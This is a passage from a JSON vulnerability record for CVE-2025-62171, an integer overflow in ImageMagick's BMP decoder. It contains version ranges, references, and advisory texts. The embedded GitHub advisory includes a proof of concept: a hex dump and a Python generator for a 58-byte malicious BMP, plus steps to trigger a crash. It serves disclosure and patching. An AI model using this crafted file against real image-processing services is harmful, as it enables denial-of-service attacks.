g1-5.2ubuntu0.1~esm2","8:6.9.12.98+dfsg1-5.2ubuntu0.1~esm3"]},{"source":"osv","ecosystem":"Ubuntu:25.10","package":"imagemagick","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["8:7.1.1.43+dfsg1-1","8:7.1.1.43+dfsg1-1ubuntu1","8:7.1.1.43+dfsg1-1ubuntu2","8:7.1.2.3+dfsg1-1","8:7.1.2.3+dfsg1-1ubuntu0.1"]},{"source":"osv","ecosystem":"Ubuntu:26.04:LTS","package":"imagemagick","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"8:7.1.2.8+dfsg1-1"}]}],"versions":["8:7.1.2.3+dfsg1-1"]},{"source":"osv","ecosystem":"Ubuntu:Pro:14.04:LTS","package":"imagemagick","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"8:6.7.7.10-6ubuntu3.13+esm16"}]}],"versions":["8:6.7.7.10-5ubuntu3","8:6.7.7.10-5ubuntu4","8:6.7.7.10-6ubuntu1","8:6.7.7.10-6ubuntu2","8:6.7.7.10-6ubuntu3","8:6.7.7.10-6ubuntu3.1","8:6.7.7.10-6ubuntu3.2","8:6.7.7.10-6ubuntu3.3","8:6.7.7.10-6ubuntu3.4","8:6.7.7.10-6ubuntu3.5","8:6.7.7.10-6ubuntu3.6","8:6.7.7.10-6ubuntu3.7","8:6.7.7.10-6ubuntu3.8","8:6.7.7.10-6ubuntu3.9","8:6.7.7.10-6ubuntu3.11","8:6.7.7.10-6ubuntu3.12","8:6.7.7.10-6ubuntu3.13","8:6.7.7.10-6ubuntu3.13+esm1","8:6.7.7.10-6ubuntu3.13+esm2","8:6.7.7.10-6ubuntu3.13+esm3","8:6.7.7.10-6ubuntu3.13+esm4","8:6.7.7.10-6ubuntu3.13+esm5","8:6.7.7.10-6ubuntu3.13+esm6","8:6.7.7.10-6ubuntu3.13+esm7","8:6.7.7.10-6ubuntu3.13+esm8","8:6.7.7.10-6ubuntu3.13+esm9","8:6.7.7.10-6ubuntu3.13+esm10","8:6.7.7.10-6ubuntu3.13+esm11","8:6.7.7.10-6ubuntu3.13+esm12","8:6.7.7.10-6ubuntu3.13+esm13","8:6.7.7.10-6ubuntu3.13+esm14","8:6.7.7.10-6ubuntu3.13+esm15"]},{"source":"osv","ecosystem":"Ubuntu:Pro:16.04:LTS","package":"imagemagick","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"8:6.8.9.9-7ubuntu5.16+esm15"}]}],"versions":["8:6.8.9.9-5ubuntu2","8:6.8.9.9-6","8:6.8.9.9-6build1","8:6.8.9.9-7","8:6.8.9.9-7ubuntu1","8:6.8.9.9-7ubuntu2","8:6.8.9.9-7ubuntu3","8:6.8.9.9-7ubuntu4","8:6.8.9.9-7ubuntu5","8:6.8.9.9-7ubuntu5.1","8:6.8.9.9-7ubuntu5.2","8:6.8.9.9-7ubuntu5.3","8:6.8.9.9-7ubuntu5.4","8:6.8.9.9-7ubuntu5.5","8:6.8.9.9-7ubuntu5.6","8:6.8.9.9-7ubuntu5.7","8:6.8.9.9-7ubuntu5.8","8:6.8.9.9-7ubuntu5.9","8:6.8.9.9-7ubuntu5.11","8:6.8.9.9-7ubuntu5.12","8:6.8.9.9-7ubuntu5.13","8:6.8.9.9-7ubuntu5.14","8:6.8.9.9-7ubuntu5.15","8:6.8.9.9-7ubuntu5.16","8:6.8.9.9-7ubuntu5.16+esm1","8:6.8.9.9-7ubuntu5.16+esm2","8:6.8.9.9-7ubuntu5.16+esm3","8:6.8.9.9-7ubuntu5.16+esm4","8:6.8.9.9-7ubuntu5.16+esm5","8:6.8.9.9-7ubuntu5.16+esm6","8:6.8.9.9-7ubuntu5.16+esm7","8:6.8.9.9-7ubuntu5.16+esm8","8:6.8.9.9-7ubuntu5.16+esm9","8:6.8.9.9-7ubuntu5.16+esm10","8:6.8.9.9-7ubuntu5.16+esm11","8:6.8.9.9-7ubuntu5.16+esm12","8:6.8.9.9-7ubuntu5.16+esm13","8:6.8.9.9-7ubuntu5.16+esm14"]},{"source":"osv","ecosystem":"Ubuntu:Pro:18.04:LTS","package":"imagemagick","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"8:6.9.7.4+dfsg-16ubuntu6.15+esm7"}]}],"versions":["8:6.9.7.4+dfsg-16ubuntu2","8:6.9.7.4+dfsg-16ubuntu3","8:6.9.7.4+dfsg-16ubuntu4","8:6.9.7.4+dfsg-16ubuntu5","8:6.9.7.4+dfsg-16ubuntu6","8:6.9.7.4+dfsg-16ubuntu6.2","8:6.9.7.4+dfsg-16ubuntu6.3","8:6.9.7.4+dfsg-16ubuntu6.4","8:6.9.7.4+dfsg-16ubuntu6.7","8:6.9.7.4+dfsg-16ubuntu6.8","8:6.9.7.4+dfsg-16ubuntu6.9","8:6.9.7.4+dfsg-16ubuntu6.11","8:6.9.7.4+dfsg-16ubuntu6.12","8:6.9.7.4+dfsg-16ubuntu6.13","8:6.9.7.4+dfsg-16ubuntu6.14","8:6.9.7.4+dfsg-16ubuntu6.15","8:6.9.7.4+dfsg-16ubuntu6.15+esm1","8:6.9.7.4+dfsg-16ubuntu6.15+esm2","8:6.9.7.4+dfsg-16ubuntu6.15+esm3","8:6.9.7.4+dfsg-16ubuntu6.15+esm4","8:6.9.7.4+dfsg-16ubuntu6.15+esm5","8:6.9.7.4+dfsg-16ubuntu6.15+esm6"]},{"source":"osv","ecosystem":"Ubuntu:Pro:20.04:LTS","package":"imagemagick","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"8:6.9.10.23+dfsg-2.1ubuntu11.11+esm5"}]}],"versions":["8:6.9.10.23+dfsg-2.1ubuntu3","8:6.9.10.23+dfsg-2.1ubuntu8","8:6.9.10.23+dfsg-2.1ubuntu9","8:6.9.10.23+dfsg-2.1ubuntu10","8:6.9.10.23+dfsg-2.1ubuntu11","8:6.9.10.23+dfsg-2.1ubuntu11.1","8:6.9.10.23+dfsg-2.1ubuntu11.2","8:6.9.10.23+dfsg-2.1ubuntu11.4","8:6.9.10.23+dfsg-2.1ubuntu11.4+esm1","8:6.9.10.23+dfsg-2.1ubuntu11.5","8:6.9.10.23+dfsg-2.1ubuntu11.6","8:6.9.10.23+dfsg-2.1ubuntu11.6+esm1","8:6.9.10.23+dfsg-2.1ubuntu11.7","8:6.9.10.23+dfsg-2.1ubuntu11.7+esm1","8:6.9.10.23+dfsg-2.1ubuntu11.9","8:6.9.10.23+dfsg-2.1ubuntu11.9+esm1","8:6.9.10.23+dfsg-2.1ubuntu11.9+esm2","8:6.9.10.23+dfsg-2.1ubuntu11.10","8:6.9.10.23+dfsg-2.1ubuntu11.10+esm1","8:6.9.10.23+dfsg-2.1ubuntu11.11","8:6.9.10.23+dfsg-2.1ubuntu11.11+esm1","8:6.9.10.23+dfsg-2.1ubuntu11.11+esm2","8:6.9.10.23+dfsg-2.1ubuntu11.11+esm3","8:6.9.10.23+dfsg-2.1ubuntu11.11+esm4"]},{"source":"osv","ecosystem":"Ubuntu:Pro:22.04:LTS","package":"imagemagick","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"8:6.9.11.60+dfsg-1.3ubuntu0.22.04.5+esm5"}]}],"versions":["8:6.9.11.60+dfsg-1ubuntu1","8:6.9.11.60+dfsg-1.3","8:6.9.11.60+dfsg-1.3build1","8:6.9.11.60+dfsg-1.3build2","8:6.9.11.60+dfsg-1.3ubuntu0.22.04.1","8:6.9.11.60+dfsg-1.3ubuntu0.22.04.1+esm1","8:6.9.11.60+dfsg-1.3ubuntu0.22.04.2","8:6.9.11.60+dfsg-1.3ubuntu0.22.04.2+esm1","8:6.9.11.60+dfsg-1.3ubuntu0.22.04.3","8:6.9.11.60+dfsg-1.3ubuntu0.22.04.3+esm1","8:6.9.11.60+dfsg-1.3ubuntu0.22.04.3+esm2","8:6.9.11.60+dfsg-1.3ubuntu0.22.04.3+esm3","8:6.9.11.60+dfsg-1.3ubuntu0.22.04.5","8:6.9.11.60+dfsg-1.3ubuntu0.22.04.5+esm1","8:6.9.11.60+dfsg-1.3ubuntu0.22.04.5+esm2","8:6.9.11.60+dfsg-1.3ubuntu0.22.04.5+esm3","8:6.9.11.60+dfsg-1.3ubuntu0.22.04.5+esm4"]},{"source":"osv","ecosystem":"Ubuntu:Pro:24.04:LTS","package":"imagemagick","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"8:6.9.12.98+dfsg1-5.2ubuntu0.1~esm4"}]}],"versions":["8:6.9.11.60+dfsg-1.6ubuntu1","8:6.9.12.98+dfsg1-5","8:6.9.12.98+dfsg1-5.2build1","8:6.9.12.98+dfsg1-5.2build2","8:6.9.12.98+dfsg1-5.2ubuntu0.1~esm1","8:6.9.12.98+dfsg1-5.2ubuntu0.1~esm2","8:6.9.12.98+dfsg1-5.2ubuntu0.1~esm3"]},{"source":"osv","ecosystem":"openSUSE:Tumbleweed","package":"ImageMagick","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"7.1.2.7-1.1"}]}]},{"source":"osv","ecosystem":"openSUSE:Leap 16.0","package":"ImageMagick","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"7.1.2.0-160000.4.1"}]}],"bundled":6}],"products":[{"vendor":"imagemagick","product":"imagemagick"}],"references":[{"url":"https://github.com/ImageMagick/ImageMagick/security/advisories/GHSA-9pp9-cfwx-54rm","tags":["x_refsource_CONFIRM","Exploit","Vendor Advisory","advisory","web","article","report"]},{"url":"https://github.com/ImageMagick/ImageMagick/commit/cea1693e2ded51b4cc91c70c54096cbed1691c00","tags":["x_refsource_MISC","Patch","fix","web","article","report"]},{"url":"https://lists.debian.org/debian-lts-announce/2025/10/msg00019.html","tags":["web"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2025-62171","tags":["advisory","web"]},{"url":"https://github.com/dlemstra/Magick.NET/releases/tag/14.9.0","tags":["web"]},{"url":"https://github.com/advisories/GHSA-9pp9-cfwx-54rm","tags":["web"]},{"url":"https://security.alpinelinux.org/vuln/CVE-2025-62171","tags":["advisory"]},{"url":"https://errata.tuxcare.com/els_os/centos7els/CLSA-2025-1764280893.html","tags":["advisory"]},{"url":"https://errata.tuxcare.com/els_os/ubuntu16.04els/CLSA-2025-1764324335.html","tags":["advisory"]},{"url":"https://errata.tuxcare.com/els_os/ubuntu20.04els/CLSA-2025-1764324579.html","tags":["advisory"]},{"url":"https://errata.tuxcare.com/els_os/ubuntu18.04els/CLSA-2025-1764773600.html","tags":["advisory"]},{"url":"https://errata.tuxcare.com/els_os/debian10els/CLSA-2026-1776178825.html","tags":["advisory"]},{"url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2025/62xxx/CVE-2025-62171.json","tags":["advisory"]},{"url":"https://security-tracker.debian.org/tracker/CVE-2025-62171","tags":["advisory"]},{"url":"https://github.com/ImageMagick/ImageMagick","tags":["package"]},{"url":"https://www.openeuler.org/zh/security/security-bulletins/detail/?id=openEuler-SA-2025-2497","tags":["advisory"]},{"url":"https://www.openeuler.org/zh/security/security-bulletins/detail/?id=openEuler-SA-2025-2498","tags":["advisory"]},{"url":"https://www.openeuler.org/zh/security/security-bulletins/detail/?id=openEuler-SA-2025-2499","tags":["advisory"]},{"url":"https://www.openeuler.org/zh/security/security-bulletins/detail/?id=openEuler-SA-2025-2500","tags":["advisory"]},{"url":"https://www.openeuler.org/zh/security/security-bulletins/detail/?id=openEuler-SA-2025-2501","tags":["advisory"]},{"url":"https://www.openeuler.org/zh/security/security-bulletins/detail/?id=openEuler-SA-2025-2588","tags":["advisory"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2025-62594","tags":["advisory"]},{"url":"https://access.redhat.com/errata/RHSA-2026:3058","tags":["advisory"]},{"url":"https://access.redhat.com/security/updates/classification/#important","tags":["article"]},{"url":"https://bugzilla.redhat.com/show_bug.cgi?id=2404735","tags":["report"]},{"url":"https://bugzilla.redhat.com/show_bug.cgi?id=2431038","tags":["report"]},{"url":"https://security.access.redhat.com/data/csaf/v2/advisories/2026/rhsa-2026_3058.json","tags":["advisory"]},{"url":"https://access.redhat.com/security/cve/CVE-2025-62171","tags":["report"]},{"url":"https://www.cve.org/CVERecord?id=CVE-2025-62171","tags":["advisory","report"]},{"url":"https://access.redhat.com/security/cve/CVE-2026-23876","tags":["report"]},{"url":"https://www.cve.org/CVERecord?id=CVE-2026-23876","tags":["advisory"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-23876","tags":["advisory"]},{"url":"https://github.com/ImageMagick/ImageMagick/commit/2fae24192b78fdfdd27d766fd21d90aeac6ea8b8","tags":["article"]},{"url":"https://github.com/ImageMagick/ImageMagick/security/advisories/GHSA-r49w-jqq3-3gx8","tags":["article"]},{"url":"https://www.suse.com/support/update/announcement/2025/suse-su-202521211-1/","tags":["advisory"]},{"url":"https://bugzilla.suse.com/1248767","tags":["report"]},{"url":"https://bugzilla.suse.com/1248780","tags":["report"]},{"url":"https://bugzilla.suse.com/1248784","tags":["report"]},{"url":"https://bugzilla.suse.com/1249362","tags":["report"]},{"url":"https://bugzilla.suse.com/1252282","tags":["report"]},{"url":"https://bugzilla.suse.com/1252749","tags":["report"]},{"url":"https://www.suse.com/security/cve/CVE-2025-55212","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2025-55298","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2025-57803","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2025-57807","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2025-62171","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2025-62594","tags":["web"]},{"url":"https://www.suse.com/support/update/announcement/2025/suse-su-20253796-1/","tags":["advisory"]},{"url":"https://www.suse.com/support/update/announcement/2025/suse-su-20253844-1/","tags":["advisory"]},{"url":"https://www.suse.com/support/update/announcement/2025/suse-su-20253867-1/","tags":["advisory"]},{"url":"https://www.suse.com/support/update/announcement/2025/suse-su-20253918-1/","tags":["advisory"]},{"url":"https://ubuntu.com/security/CVE-2025-62171","tags":["report"]},{"url":"https://ubuntu.com/security/notices/USN-7876-1","tags":["advisory"]},{"url":"","tags":["advisory"]}],"sources":{"cve":[{"id":"CVE-2025-62171","title":"ImageMagick vulnerable to denial of service via integer overflow in BMP decoder on 32-bit systems","description":"ImageMagick is an open source software suite for displaying, converting, and editing raster image files. In ImageMagick versions prior to 7.1.2-7 and 6.9.13-32, an integer overflow vulnerability exists in the BMP decoder on 32-bit systems. The vulnerability occurs in coders/bmp.c when calculating the extent value by multiplying image columns by bits per pixel. On 32-bit systems with size_t of 4 bytes, a malicious BMP file with specific dimensions can cause this multiplication to overflow and wrap to zero. The overflow check added to address CVE-2025-57803 is placed after the overflow occurs, making it ineffective. A specially crafted 58-byte BMP file with width set to 536,870,912 and 32 bits per pixel can trigger this overflow, causing the bytes_per_line calculation to become zero. This vulnerability only affects 32-bit builds of ImageMagick where default resource limits for width, height, and area have been manually increased beyond their defaults. 64-bit systems with size_t of 8 bytes are not vulnerable, and systems using default ImageMagick resource limits are not vulnerable. The vulnerability is fixed in versions 7.1.2-7 and 6.9.13-32.","status":"published","published":"2025-10-17T16:30:27.144Z","modified":"2025-11-03T17:45:24.673Z","cvss":[{"version":"3.1","score":5.9,"vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H","level":"medium","assessor":"cna"}],"cwes":["CWE-190"],"updated_at":"2026-11-02T14:32:54.87586Z"}],"euvd":[{"id":"EUVD-2025-34893","description":"ImageMagick is an open source software suite for displaying, converting, and editing raster image files. In ImageMagick versions prior to 7.1.2-7 and 6.9.13-32, an integer overflow vulnerability exists in the BMP decoder on 32-bit systems. The vulnerability occurs in coders/bmp.c when calculating the extent value by multiplying image columns by bits per pixel. On 32-bit systems with size_t of 4 bytes, a malicious BMP file with specific dimensions can cause this multiplication to overflow and wrap to zero. The overflow check added to address CVE-2025-57803 is placed after the overflow occurs, making it ineffective. A specially crafted 58-byte BMP file with width set to 536,870,912 and 32 bits per pixel can trigger this overflow, causing the bytes_per_line calculation to become zero. This vulnerability only affects 32-bit builds of ImageMagick where default resource limits for width, height, and area have been manually increased beyond their defaults. 64-bit systems with size_t of 8 bytes are not vulnerable, and systems using default ImageMagick resource limits are not vulnerable. The vulnerability is fixed in versions 7.1.2-7 and 6.9.13-32.","status":"published","published":"2025-10-17T16:30:27Z","modified":"2025-11-03T17:45:24Z","cvss":[{"version":"3.1","score":5.9,"vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H","level":"medium"}],"updated_at":"2026-11-02T19:49:35.000596Z"}],"ghsa":[{"id":"GHSA-9pp9-cfwx-54rm","title":"ImageMagick has Integer Overflow in BMP Decoder (ReadBMP)","description":"## Summary\n\nCVE-2025-57803 claims to be patched in ImageMagick 7.1.2-2, but **the fix is incomplete and ineffective**. The latest version **7.1.2-5 remains vulnerable** to the same integer overflow attack.\n\nThe patch added `BMPOverflowCheck()` but placed it **after** the overflow occurs, making it useless. A malicious 58-byte BMP file can trigger AddressSanitizer crashes and DoS.\n\n**Affected Versions:**\n- ImageMagick \u003c 7.1.2-2 (originally reported)\n- **ImageMagick 7.1.2-2 through 7.1.2-5 (incomplete patch)**\n\n**Platform and Configuration Requirements:**\n- 32-bit systems ONLY (i386, i686, armv7l, etc.)\n- Requires `size_t = 4 bytes`. (64-bit systems are **NOT vulnerable** (size_t = 8 bytes))\n- Requires modified resource limits: The default `width`, `height`, and `area` limits must have been manually increased (Systems using default ImageMagick resource limits are **NOT vulnerable**).\n\n---\n\n## Details(Root Cause Analysis)\n\n### Vulnerable Code Location\n\n**File:** `coders/bmp.c`  \n**Lines:** 1120-1122 (in version 7.1.2-5)\n\n### The Incomplete Patch\n\n```c\n// Line 1120: Integer overflow happens HERE\nextent = image-\u003ecolumns * bmp_info.bits_per_pixel;  // OVERFLOW!\n\n// Line 1121: Uses already-overflowed value\nbytes_per_line = 4*((extent+31)/32);\n\n// Line 1122: Checks the RESULT, not the multiplication\nif (BMPOverflowCheck(bytes_per_line, image-\u003erows) != MagickFalse)\n    ThrowReaderException(CorruptImageError, \"InsufficientImageDataInFile\");\n```\n\n### Why the Patch Fails\n\n**Attack Vector (32-bit system):**\n```\nInput BMP Header:\n  Width: 536,870,912 (0x20000000)\n  Height: 1\n  Bits Per Pixel: 32\n\nCalculation on 32-bit system:\n  extent = 536,870,912 × 32\n         = 17,179,869,184 (0x400000000)\n         \n  32-bit truncation:\n  0x400000000 \u0026 0xFFFFFFFF = 0x00000000  ← Overflow to ZERO!\n  \n  bytes_per_line = 4 × ((0 + 31) / 32)\n                 = 4 × 0\n                 = 0\n  \n  BMPOverflowCheck(0, 1):\n    return (1 != 0) \u0026\u0026 (0 \u003e 4294967295UL/1)\n    return True \u0026\u0026 (0 \u003e 4294967295)\n    return True \u0026\u0026 False\n    return False  ← Does NOT detect overflow!\n```\n\n**The check fails because:**\n1. The overflow happens at Line 1120 (extent calculation)\n2. `extent` becomes 0 due to 32-bit truncation\n3. `bytes_per_line` is calculated as 0 (Line 1121)\n4. `BMPOverflowCheck(0, 1)` returns **False** (no overflow detected)\n5. Code proceeds with corrupted values → ASan crash\n\n---\n\n## PoC(Proof of Concept)\n\n### Minimal 58-byte BMP File\n\n**Hex dump:**\n```\n00000000  42 4d 3a 00 00 00 00 00  00 00 36 00 00 00 28 00  |BM:.......6...(.|\n00000010  00 00 00 00 00 20 01 00  00 00 01 00 20 00 00 00  |..... ...... ...|\n00000020  00 00 00 00 00 00 13 0b  00 00 13 0b 00 00 00 00  |................|\n00000030  00 00 00 00 00 00 00 00  00 00                    |..........|\n```\n\n**Key Fields:**\n- Offset 0x12: Width = `00 00 00 20` = 0x20000000 (536,870,912)\n- Offset 0x16: Height = `01 00 00 00` = 1\n- Offset 0x1C: BPP = `20 00` = 32\n\n### Python Generator\n\n```python\n#!/usr/bin/env python3\nimport struct\n\nwidth = 0x20000000   # 536,870,912\nheight = 1\nbpp = 32\n\n# BMP File Header (14 bytes)\nfile_header = b'BM'\nfile_header += struct.pack('\u003cI', 58)      # File size\nfile_header += struct.pack('\u003cHH', 0, 0)   # Reserved\nfile_header += struct.pack('\u003cI', 54)      # Pixel offset\n\n# DIB Header (40 bytes)\ndib_header = struct.pack('\u003cI', 40)        # Header size\ndib_header += struct.pack('\u003ci', width)    # Width\ndib_header += struct.pack('\u003ci', height)   # Height\ndib_header += struct.pack('\u003cH', 1)        # Planes\ndib_header += struct.pack('\u003cH', bpp)      # BPP\ndib_header += struct.pack('\u003cI', 0)        # Compression\ndib_header += struct.pack('\u003cI', 0)        # Image size\ndib_header += struct.pack('\u003ci', 2835)     # X ppm\ndib_header += struct.pack('\u003ci', 2835)     # Y ppm\ndib_header += struct.pack('\u003cI', 0)        # Colors\ndib_header += struct.pack('\u003cI', 0)        # Important colors\n\npixel_data = b'\\x00\\x00\\x00\\x00'\n\nwith open('overflow.bmp', 'wb') as f:\n    f.write(file_header + dib_header + pixel_data)\n\nprint(f\"Created overflow.bmp (58 bytes)\")\n```\n\n---\n\n## Reproduction Steps\n\n### Environment Setup\n\n```bash\n# Use 32-bit Docker container\ndocker run -it --name test-32bit i386/ubuntu:latest bash\n\n# Install dependencies\napt-get update\napt-get install -y clang build-essential wget tar \\\n    libpng-dev libjpeg-dev libfreetype6-dev libxml2-dev \\\n    zlib1g-dev liblzma-dev libbz2-dev\n\n# Download ImageMagick 7.1.2-5\ncd /tmp\nwget https://github.com/ImageMagick/ImageMagick/archive/refs/tags/7.1.2-5.tar.gz\ntar xzf 7.1.2-5.tar.gz\ncd ImageMagick-7.1.2-5\n```\n\n### Build with AddressSanitizer (32-bit IMPORTANT!)\n\n```bash\n# Configure for 32-bit build (CRITICAL - must be 32-bit!)\n./configure \\\n    --host=i686-pc-linux-gnu \\\n    --disable-dependency-tracking \\\n    --disable-silent-rules \\\n    --disable-shared \\\n    --disable-openmp \\\n    --disable-docs \\\n    --without-x \\\n    --without-perl \\\n    --without-magick-plus-plus \\\n    --without-lqr \\\n    --without-zstd \\\n    --without-tiff \\\n    --with-quantum-depth=8 \\\n    --disable-hdri \\\n    CFLAGS=\"-O1 -g -fno-omit-frame-pointer -fsanitize=address,undefined\" \\\n    CXXFLAGS=\"-O1 -g -fno-omit-frame-pointer -fsanitize=address,undefined\" \\\n    LDFLAGS=\"-fsanitize=address,undefined\"\n\nmake -j$(nproc)\n\n### Trigger the Vulnerability\n\n```bash\n# Set environment to bypass cache.c limits\nexport ASAN_OPTIONS=\"detect_leaks=0:malloc_context_size=20:allocator_may_return_null=1\"\nexport MAGICK_WIDTH_LIMIT=2000000000\nexport MAGICK_HEIGHT_LIMIT=2000000000\nexport MAGICK_AREA_LIMIT=10000000000\n\n# Test with malicious BMP (use Python script above to create it)\n./utilities/magick identify overflow.bmp\n```\n\n---\n\n## AddressSanitizer Output\n\n```\n==56720==AddressSanitizer CHECK failed: ../../../../src/libsanitizer/asan/asan_poisoning.cc:37 \n\"((AddrIsInMem(addr + size - (1ULL \u003c\u003c kDefaultShadowScale)))) != (0)\" (0x0, 0x0)\n=================================================================\n==56720==AddressSanitizer CHECK failed: ../../../../src/libsanitizer/asan/asan_descriptions.cc:80 \n\"((0 \u0026\u0026 \"Address is not in memory and not in shadow?\")) != (0)\" (0x0, 0x0)\n==56720==WARNING: ASan is ignoring requested __asan_handle_no_return: \nstack top: 0x40801000; bottom 0x4372f000; size: 0xfd0d2000 (-49471488)\nFalse positive error reports may follow\nFor details see https://github.com/google/sanitizers/issues/189\n```\n\nIt operates in the following environments.\n\n```\nexport MAGICK_WIDTH_LIMIT=2000000000\nexport MAGICK_HEIGHT_LIMIT=2000000000\nexport MAGICK_AREA_LIMIT=10000000000\n```\n\n## Impact\n\n### Attack Scenario\n\n1. Attacker creates a 58-byte malicious BMP file\n2. Uploads to web service that uses ImageMagick (on 32-bit system)\n3. ImageMagick attempts to process the image\n4. Integer overflow triggers AddressSanitizer crash\n5. Service becomes unavailable (Denial of Service)\n\n**Real-world targets:**\n- Web hosting platforms with image processing\n- CDN services with thumbnail generation\n- Legacy embedded systems\n- IoT devices running 32-bit Linux\n- Docker containers using 32-bit base images\n\n---\n\n## Recommended Fix\n\n### Correct Patch\n\nThe overflow check must happen **before** the multiplication:\n\n```c\n// Add overflow check BEFORE calculating extent\nif (BMPOverflowCheck(image-\u003ecolumns, bmp_info.bits_per_pixel) != MagickFalse)\n    ThrowReaderException(CorruptImageError, \"IntegerOverflowInDimensions\");\n\n// Now safe to calculate\nextent = image-\u003ecolumns * bmp_info.bits_per_pixel;\nbytes_per_line = 4*((extent+31)/32);\n\n// Additional safety check\nif (BMPOverflowCheck(bytes_per_line, image-\u003erows) != MagickFalse)\n    ThrowReaderException(CorruptImageError, \"InsufficientImageDataInFile\");\n```\n\n### Alternative: Use 64-bit Arithmetic\n\n```c\n// Force 64-bit calculation\nuint64_t extent_64 = (uint64_t)image-\u003ecolumns * (uint64_t)bmp_info.bits_per_pixel;\n\nif (extent_64 \u003e UINT32_MAX)\n    ThrowReaderException(CorruptImageError, \"ImageDimensionsTooLarge\");\n\nextent = (size_t)extent_64;\nbytes_per_line = 4*((extent+31)/32);\n```\n\n### Credits\nwooseokdotkim\nwooseokdotkim@gmail.com","status":"published","published":"2025-10-28T14:43:20Z","modified":"2025-11-03T18:32:51Z","cvss":[{"version":"3.1","score":4.4,"vector":"CVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:U/C:N/I:N/A:H","level":"medium"}],"cwes":["CWE-190"],"updated_at":"2026-11-02T14:39:04.350802Z"}],"nvd":[{"id":"CVE-2025-62171","description":"ImageMagick is an open source software suite for displaying, converting, and editing raster image files. In ImageMagick versions prior to 7.1.2-7 and 6.9.13-32, an integer overflow vulnerability exists in the BMP decoder on 32-bit systems. The vulnerability occurs in coders/bmp.c when calculating the extent value by multiplying image columns by bits per pixel. On 32-bit systems with size_t of 4 bytes, a malicious BMP file with specific dimensions can cause this multiplication to overflow and wrap to zero. The overflow check added to address CVE-2025-57803 is placed after the overflow occurs, making it ineffective. A specially crafted 58-byte BMP file with width set to 536,870,912 and 32 bits per pixel can trigger this overflow, causing the bytes_per_line calculation to become zero. This vulnerability only affects 32-bit builds of ImageMagick where default resource limits for width, height, and area have been manually increased beyond their defaults. 64-bit systems with size_t of 8 bytes are not vulnerable, and systems using default ImageMagick resource limits are not vulnerable. The vulnerability is fixed in versions 7.1.2-7 and 6.9.13-32.","status":"published","published":"2025-10-17T17:15:49.197Z","modified":"2026-10-19T16:10:00.26Z","cvss":[{"version":"3.1","score":5.9,"vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H","level":"medium","assessor":"secondary"},{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","level":"high","assessor":"primary"}],"cwes":["CWE-190"],"updated_at":"2026-11-02T14:11:39.069866Z"}],"osv":[{"id":"ALPINE-CVE-2025-62171","description":"ImageMagick is an open source software suite for displaying, converting, and editing raster image files. In ImageMagick versions prior to 7.1.2-7 and 6.9.13-32, an integer overflow vulnerability exists in the BMP decoder on 32-bit systems. The vulnerability occurs in coders/bmp.c when calculating the extent value by multiplying image columns by bits per pixel. On 32-bit systems with size_t of 4 bytes, a malicious BMP file with specific dimensions can cause this multiplication to overflow and wrap to zero. The overflow check added to address CVE-2025-57803 is placed after the overflow occurs, making it ineffective. A specially crafted 58-byte BMP file with width set to 536,870,912 and 32 bits per pixel can trigger this overflow, causing the bytes_per_line calculation to become zero. This vulnerability only affects 32-bit builds of ImageMagick where default resource limits for width, height, and area have been manually increased beyond their defaults. 64-bit systems with size_t of 8 bytes are not vulnerable, and systems using default ImageMagick resource limits are not vulnerable. The vulnerability is fixed in versions 7.1.2-7 and 6.9.13-32.","status":"published","published":"2025-10-17T17:15:49.197Z","modified":"2026-11-03T06:32:52.117550135Z","cvss":[{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","level":"high"}],"updated_at":"2026-11-03T07:16:26.770911Z"},{"id":"CVE-2025-62171","title":"ImageMagick vulnerable to denial of service via integer overflow in BMP decoder on 32-bit systems","description":"ImageMagick is an open source software suite for displaying, converting, and editing raster image files. In ImageMagick versions prior to 7.1.2-7 and 6.9.13-32, an integer overflow vulnerability exists in the BMP decoder on 32-bit systems. The vulnerability occurs in coders/bmp.c when calculating the extent value by multiplying image columns by bits per pixel. On 32-bit systems with size_t of 4 bytes, a malicious BMP file with specific dimensions can cause this multiplication to overflow and wrap to zero. The overflow check added to address CVE-2025-57803 is placed after the overflow occurs, making it ineffective. A specially crafted 58-byte BMP file with width set to 536,870,912 and 32 bits per pixel can trigger this overflow, causing the bytes_per_line calculation to become zero. This vulnerability only affects 32-bit builds of ImageMagick where default resource limits for width, height, and area have been manually increased beyond their defaults. 64-bit systems with size_t of 8 bytes are not vulnerable, and systems using default ImageMagick resource limits are not vulnerable. The vulnerability is fixed in versions 7.1.2-7 and 6.9.13-32.","status":"published","published":"2025-10-17T16:30:27.144Z","modified":"2026-11-11T13:04:27.936360048Z","cvss":[{"version":"3.1","score":5.9,"vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H","level":"medium"}],"cwes":["CWE-190"],"updated_at":"2026-11-11T03:22:10.237529Z"},{"id":"DEBIAN-CVE-2025-62171","description":"ImageMagick is an open source software suite for displaying, converting, and editing raster image 